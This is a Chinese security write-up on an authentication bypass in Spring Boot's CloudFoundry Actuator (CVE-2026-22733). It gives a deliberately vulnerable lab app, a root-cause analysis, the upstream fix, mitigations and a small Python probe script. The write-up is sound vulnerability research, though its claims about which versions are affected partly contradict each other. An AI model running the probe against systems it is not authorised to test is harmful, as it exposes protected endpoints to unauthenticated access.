Spring Boot CloudFoundry Actuator 认证绕过漏洞 CVE-2026-22733

版本信息

影响版本:

4.0.0 - 4.0.3
3.5.0 - 3.5.11
3.4.0 - 3.4.14
3.3.0 - 3.3.17
2.7.0 - 2.7.31

漏洞描述

说到底,这个洞是 CloudFoundry Actuator 的安全配置和 HandlerMapping 配合不当造成的。

Spring CloudFoundry Actuator 的自动配置会创建一个 IgnoredCloudFoundryPathsWebSecurityCustomizer,它通过 web.ignoring() 让 Spring Security 忽略 /cloudfoundryapplication/** 路径下的所有请求。在 Spring Boot 2.7.0 - 2.7.8 中,这个配置直接忽略了整个路径:

web.ignoring().requestMatchers(new AntPathRequestMatcher("/cloudfoundryapplication/**"));

这意味着任何映射到 /cloudfoundryapplication/ 下的端点都不需要认证。

同时,CloudFoundryWebEndpointServletHandlerMapping 只处理真正注册了的 CloudFoundry 端点。对于没有注册的路径(比如自定义的 /cloudfoundryapplication/admin),请求会直接 fall through 到其他 HandlerMapping——也就是你的自定义 Controller。

这样一来:

  1. Spring Security 忽略了整个 /cloudfoundryapplication/** 路径
  2. CloudFoundry HandlerMapping 只处理已注册端点,未知路径 fall through
  3. 自定义 Controller 接了请求,返回了受保护的数据,且不需要任何认证

认证就这么绕过去了。

环境搭建

踩坑过程

一开始我想直接用最新的 Spring Boot 版本来搭,结果踩了个坑。

我先用 Spring Boot 3.3.13 搭了一个环境,CloudFoundry 自动配置确实激活了,日志里能看到 CloudFoundryActuatorAutoConfiguration 在初始化。但是测试的时候发现不对劲——访问 /cloudfoundryapplication/admin 返回的是 401,而不是预期的漏洞利用成功。

让我看看日志:

INFO --- o.s.s.web.DefaultSecurityFilterChain : Will not secure Or [Ant [pattern='/cloudfoundryapplication/beans/**'], Ant [pattern='/cloudfoundryapplication/caches/**'], ...]

有意思了。这里忽略的不是整个 /cloudfoundryapplication/**,而是只忽略了具体的端点路径。这意味着在 3.3.x 版本里,Spring 已经有了一些改进。

然后我又试了 Spring Boot 2.7.18,结果一样。3.3.13 和 2.7.18 都用了改进后的方式——只忽略已注册的端点列表。

最后我换成了 Spring Boot 2.7.8,这才触发了真正的漏洞。让我看一下 2.7.8 的日志:

WARN --- o.s.s.c.a.web.builders.WebSecurity : You are asking Spring Security to ignore Ant [pattern='/cloudfoundryapplication/**']. This is not recommended
INFO --- o.s.s.web.DefaultSecurityFilterChain : Will not secure Ant [pattern='/cloudfoundryapplication/**']

最终环境配置

最终我用的是 Spring Boot 2.7.8 + Maven + Java 11。

pom.xml:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
         http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.vuln</groupId>
    <artifactId>spring-boot-actuator-bypass</artifactId>
    <version>1.0.0</version>

    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.7.8</version>
    </parent>

    <properties>
        <java.version>11</java.version>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-security</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-actuator</artifactId>
        </dependency>
    </dependencies>
</project>

关键配置(application.properties):

server.port=8080
spring.application.name=vulnerable-actuator-app
spring.main.cloud-platform=CLOUD_FOUNDRY
management.cloudfoundry.enabled=true
management.endpoints.web.exposure.include=*

这里有个关键配置 spring.main.cloud-platform=CLOUD_FOUNDRY,这个会触发 CloudFoundry Actuator 的自动配置。没有这个配置的话,CloudFoundry 自动配置不会激活。

安全配置(SecurityConfig.java):

package com.vuln.config;

import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.core.userdetails.User;
import org.springframework.security.core.userdetails.UserDetails;
import org.springframework.security.core.userdetails.UserDetailsService;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.security.provisioning.InMemoryUserDetailsManager;
import org.springframework.security.web.SecurityFilterChain;

@Configuration
@EnableWebSecurity
public class SecurityConfig {

    @Bean
    public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {
        http
            .authorizeRequests()
                .antMatchers("/actuator/health").permitAll()
                .antMatchers("/cloudfoundryapplication/**").authenticated()
                .anyRequest().authenticated()
            .and()
            .httpBasic()
            .and()
            .csrf().disable();
        return http.build();
    }

    @Bean
    public UserDetailsService userDetailsService() {
        var user = User.builder()
            .username("admin")
            .password(new BCryptPasswordEncoder().encode("admin123"))
            .roles("ADMIN")
            .build();
        return new InMemoryUserDetailsManager(user);
    }
}

这里我特意在配置里写了 .antMatchers("/cloudfoundryapplication/**").authenticated(),意思是我想让这个路径下的接口需要登录才能访问。但是 CloudFoundry 自动配置会把这个路径完全忽略掉,导致这个配置不生效。

自定义控制器(CloudFoundryAppController.java):

package com.vuln.controller;

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping("/cloudfoundryapplication")
public class CloudFoundryAppController {

    @GetMapping("/admin")
    public String admin() {
        return "ADMIN_ENDPOINT_EXPOSED - This should require authentication!";
    }

    @GetMapping("/secrets")
    public String secrets() {
        return "SECRET_DATA: database_password=root123, api_key=sk-secret-key";
    }

    @GetMapping("/health")
    public String health() {
        return "System is healthy";
    }
}

这个控制器映射到了 /cloudfoundryapplication/ 下面。按理说应该需要登录才能访问,但是因为 Spring Security 被 CloudFoundry 自动配置绕过掉了,所以不需要任何认证。

启动验证

打包并启动应用:

mvn clean package -DskipTests
java -jar target/spring-boot-actuator-bypass-1.0.0.jar

启动后看日志,确认 CloudFoundry 自动配置生效了:

WARN  --- o.s.s.c.a.web.builders.WebSecurity : You are asking Spring Security to ignore Ant [pattern='/cloudfoundryapplication/**']. This is not recommended
INFO  --- o.s.s.web.DefaultSecurityFilterChain : Will not secure Ant [pattern='/cloudfoundryapplication/**']

这两个日志很关键。第一个是警告说 Spring Security 被要求忽略这个路径,第二个是确认 Security FilterChain 不会保护这个路径。这说明 CloudFoundry 自动配置生效了。

漏洞复现

直接访问受保护端点

环境跑起来了,直接试一下:

没带任何认证信息,直接就返回了 200 和数据。按理说应该返回 401 需要认证的,结果直接就进去了。

再试一下 secrets 端点:

对比正常受保护端点

为了证明问题确实出在 /cloudfoundryapplication/ 路径,我再创建一个正常的受保护端点:

@RestController
public class NormalController {

    @GetMapping("/normal")
    public String normal() {
        return "This is a normal protected endpoint";
    }
}

访问这个端点:

需要认知,这说明 Spring Security 配置本身是生效的,问题确实出在 /cloudfoundryapplication/** 这个路径被 CloudFoundry 的 web.ignoring() 完全忽略了。

漏洞分析

环节一:CloudFoundry 自动配置的 web.ignoring()

这个漏洞的核心在于 CloudFoundryActuatorAutoConfiguration 中的 IgnoredCloudFoundryPathsWebSecurityCustomizer。

文件位置:spring-boot-actuator-autoconfigure-2.7.8.jar!/org/springframework/boot/actuate/autoconfigure/cloudfoundry/servlet/CloudFoundryActuatorAutoConfiguration$IgnoredCloudFoundryPathsWebSecurityCustomizer

从 jar 包里反编译出来看:

@Order(SecurityProperties.IGNORED_ORDER)
static class IgnoredCloudFoundryPathsWebSecurityCustomizer implements WebSecurityCustomizer {

    @Override
    public void customize(WebSecurity web) {
        web.ignoring().requestMatchers(new AntPathRequestMatcher("/cloudfoundryapplication/**"));
    }
}

这个类实现了 WebSecurityCustomizer 接口,Spring Security 会在初始化的时候调用它的 customize() 方法。web.ignoring() 的作用是让 Spring Security 完全忽略这些请求,连 FilterChain 都不走。

@Order(SecurityProperties.IGNORED_ORDER) 这个注解指定了它的优先级。Spring Security 用这个值来决定各个自定义配置的加载顺序,IGNORED_ORDER 的值很低,意味着这个配置会在其他配置之前执行。

为什么这么设计?

CloudFoundry 平台的认证机制跟普通应用不一样。它不是通过 Spring Security 的 FilterChain 来做认证的,而是通过 CloudFoundrySecurityInterceptor 这个 Handler 级别的拦截器来做。所以 Spring 的设计思路是:把 /cloudfoundryapplication/** 的请求从 Spring Security 那儿放过去,让它走 CloudFoundry 自己的认证流程。

问题在于,CloudFoundrySecurityInterceptor 只处理已注册的 CloudFoundry 端点。如果你自定义了一个 Controller 映射到这个路径下,请求压根不会走到 CloudFoundrySecurityInterceptor,而是直接被你的 Controller 处理了。web.ignoring() 把请求从 Spring Security 放过去了,但是 Handler 级别的认证检查也没生效。

2.7.9+ 版本

后来 Spring 可能也发现了这个问题,在 2.7.9 版本里改成了只忽略已注册的端点列表:

@Override
public void customize(WebSecurity web) {
    List<RequestMatcher> requestMatchers = new ArrayList<>();
    this.pathMappedEndpoints.getAllPaths()
        .forEach((path) -> requestMatchers.add(new AntPathRequestMatcher(path + "/**")));
    requestMatchers.add(new AntPathRequestMatcher(BASE_PATH));
    requestMatchers.add(new AntPathRequestMatcher(BASE_PATH + "/"));
    web.ignoring().requestMatchers(new OrRequestMatcher(requestMatchers));
}

这里用 OrRequestMatcher 把已注册的端点路径组合起来,而不是直接忽略整个 /cloudfoundryapplication/**。但是这也只是改进,不是完整修复,因为 HandlerMapping 层还是没加 catch-all,未知路径仍然会 fall through。

环节二:HandlerMapping 没有 catch-all

Spring MVC 处理请求的时候,会遍历所有的 HandlerMapping 来找能处理当前请求的那个。

文件位置:CloudFoundryWebEndpointServletHandlerMapping

这个 HandlerMapping 只处理真正注册了的 CloudFoundry 端点:

class CloudFoundryWebEndpointServletHandlerMapping extends AbstractWebMvcEndpointHandlerMapping {

    private final CloudFoundrySecurityInterceptor securityInterceptor;
    private final EndpointLinksResolver linksResolver;

    protected LinksHandler getLinksHandler() {
        return new CloudFoundryLinksHandler();
    }
}

对于未知路径(比如 /cloudfoundryapplication/admin),它会返回 null:

Spring MVC 遍历 HandlerMapping:
  1. CloudFoundryWebEndpointServletHandlerMapping
     → 匹配 /cloudfoundryapplication/**
     → 但 /admin 不是注册的端点,返回 null
  2. RequestMappingHandlerMapping
     → 匹配 /cloudfoundryapplication/admin
     → 找到 @GetMapping("/admin"),返回 Handler

当 HandlerMapping 返回 null 的时候,Spring MVC 会继续找下一个 HandlerMapping 直到找到一个能处理请求的。RequestMappingHandlerMapping 是处理普通 @Controller 的,它不认识 CloudFoundry 的端点,但是认识我们自定义的 Controller 啊。

结果就是请求直接到了 CloudFoundryAppController,绕过了所有的安全检查。

环节三:请求处理流程

完整走一遍:

1. 请求: GET /cloudfoundryapplication/admin
2. Spring Security FilterChain:
   → WebSecurityConfigurerAdapter 配置了 .authenticated()
   → 但是 IgnoredCloudFoundryPathsWebSecurityCustomizer 用 web.ignoring() 忽略了 /cloudfoundryapplication/**
   → Security FilterChain 跳过这个请求,不检查认证
3. Spring MVC HandlerMapping 查找:
   → CloudFoundryWebEndpointServletHandlerMapping.getHandler()
      - /admin 不是注册的 CloudFoundry 端点
      - 返回 null,请求继续传递
   → RequestMappingHandlerMapping.getHandler()
      - 找到 @GetMapping("/admin")
      - 返回 CloudFoundryAppController + admin() 方法
4. 执行 CloudFoundryAppController.admin():
   return "ADMIN_ENDPOINT_EXPOSED - This should require authentication!";
5. 响应: HTTP 200 "ADMIN_ENDPOINT_EXPOSED..."

关键点:

  • 步骤 2 中,Spring Security 完全忽略了这个请求
  • 步骤 3 中,CloudFoundry HandlerMapping 没有拦截,请求 fall through 到自定义 Controller
  • 步骤 4 中,Controller 直接返回了数据,没有认证检查

漏洞修复

修复一:Security 改为选择性忽略(2.7.9+ 改进,非完整修复)

这只是中间改进,2.7.9 - 2.7.18 版本仍然存在漏洞。

改进前(Spring Boot 2.7.0 - 2.7.8):

@Override
public void customize(WebSecurity web) {
    web.ignoring().requestMatchers(new AntPathRequestMatcher("/cloudfoundryapplication/**"));
}

改进后(Spring Boot 2.7.9 - 2.7.18):

@Override
public void customize(WebSecurity web) {
    List<RequestMatcher> requestMatchers = new ArrayList<>();
    this.pathMappedEndpoints.getAllPaths()
        .forEach((path) -> requestMatchers.add(new AntPathRequestMatcher(path + "/**")));
    requestMatchers.add(new AntPathRequestMatcher(BASE_PATH));
    requestMatchers.add(new AntPathRequestMatcher(BASE_PATH + "/"));
    web.ignoring().requestMatchers(new OrRequestMatcher(requestMatchers));
}

这里把整个路径的忽略改成了只忽略已注册的端点。但是 CloudFoundryWebEndpointServletHandlerMapping 还是没有 catch-all handler,所以未知路径仍然会 fall through 到其他 HandlerMapping。漏洞依然存在。

修复二:HandlerMapping 添加 catch-all(4.0.4 / 3.5.12 完整修复)

这是真正解决问题的修复。在 CloudFoundryWebEndpointServletHandlerMapping 中重写了 initHandlerMethods():

@Override
protected void initHandlerMethods() {
    super.initHandlerMethods();
    registerCatchAllMapping(HttpStatus.FORBIDDEN);
}

在基类 AbstractWebMvcEndpointHandlerMapping 中实现 registerCatchAllMapping():

protected void registerCatchAllMapping(HttpStatus responseStatus) {
    String subPath = this.endpointMapping.createSubPath("/**");
    registerMapping(
        RequestMappingInfo.paths(subPath).options(this.builderConfig).build(),
        new CatchAllHandler(responseStatus),
        this.catchAllMethod
    );
}

private static final class CatchAllHandler {

    private final HttpStatus responseStatus;

    CatchAllHandler(HttpStatus responseStatus) {
        this.responseStatus = responseStatus;
    }

    void handle(HttpServletResponse response) {
        response.setStatus(this.responseStatus.value());
    }
}

逻辑很简单:注册一个匹配 /** 的 Handler,对所有未匹配的请求直接返回 HTTP 403。这样 /cloudfoundryapplication/** 下所有未知路径都被拦截了,不会 fall through 到自定义 Controller。

修复后的行为

$ curl -o /dev/null -w "%{http_code}" http://localhost:8080/cloudfoundryapplication/admin
403

未知端点直接返回 403 Forbidden。

漏洞修复建议

方案一:升级 Spring Boot

这是最推荐的方案

方案二:修改接口路径

不要把自定义端点映射到 /cloudfoundryapplication/ 路径下。

@RestController
@RequestMapping("/api/admin")  // 改成其他路径
public class CloudFoundryAppController {
    // ...
}

Spring 官方也不推荐把应用端点放在 Actuator 的基础设施路径下,这样会干扰其他配置。

方案三:手动添加 Filter

如果暂时无法升级或修改代码,可以在 SecurityConfig 里手动添加一个 Filter 来拦截未知路径:

@Bean
public FilterRegistrationBean<CatchAllFilter> catchAllFilter() {
    FilterRegistrationBean<CatchAllFilter> registration = new FilterRegistrationBean<>();
    registration.setFilter(new CatchAllFilter());
    registration.addUrlPatterns("/cloudfoundryapplication/*");
    registration.setOrder(Ordered.HIGHEST_PRECEDENCE);
    return registration;
}

public static class CatchAllFilter implements Filter {
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {
        ((HttpServletResponse) response).setStatus(HttpServletResponse.SC_FORBIDDEN);
    }
}

PoC 脚本

#!/usr/bin/env python3
"""
CVE-2026-22733 Spring Boot CloudFoundry Actuator Authentication Bypass PoC
"""

import sys
import requests
from urllib.parse import urljoin

def test_bypass(target_url):
    """测试认证绕过漏洞"""

    endpoints = [
        "/cloudfoundryapplication/admin",
        "/cloudfoundryapplication/secrets",
        "/cloudfoundryapplication/health",
    ]

    print(f"[*] 目标: {target_url}")
    print(f"[*] 开始测试认证绕过漏洞...\n")

    vulnerable_endpoints = []

    for endpoint in endpoints:
        url = urljoin(target_url, endpoint)

        try:
            response = requests.get(url, timeout=5, verify=False)

            status_icon = "[VULN]" if response.status_code == 200 else "[SAFE]"
            print(f"{status_icon} {endpoint}")
            print(f"    HTTP状态: {response.status_code}")
            print(f"    响应内容: {response.text[:100]}...")

            if response.status_code == 200:
                vulnerable_endpoints.append(endpoint)
                print(f"    [!] 存在认证绕过!未认证即可访问")
            else:
                print(f"    [-] 认证正常,需要登录")
            print()

        except Exception as e:
            print(f"    [x] 请求失败: {e}")
            print()

    print(f"\n{'='*50}")
    print(f"测试结果:")
    print(f"{'='*50}")

    if vulnerable_endpoints:
        print(f"\n[VULN] 漏洞存在!以下端点存在认证绕过:")
        for ep in vulnerable_endpoints:
            print(f"    - {ep}")
        print(f"\n攻击者无需任何认证即可访问这些端点")
    else:
        print(f"\n[SAFE] 所有测试端点都需要认证,漏洞可能已修复")

    return len(vulnerable_endpoints) > 0

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        print(f"示例: {sys.argv[0]} http://localhost:8080")
        sys.exit(1)

    target = sys.argv[1]
    test_bypass(target)

参考资料

免责声明

本报告仅用于安全研究和教育目的。

  1. 本报告中的漏洞分析和 PoC 代码仅供授权安全测试使用
  2. 未经授权对他人系统进行测试属于违法行为
  3. 作者不对任何滥用本报告内容造成的后果负责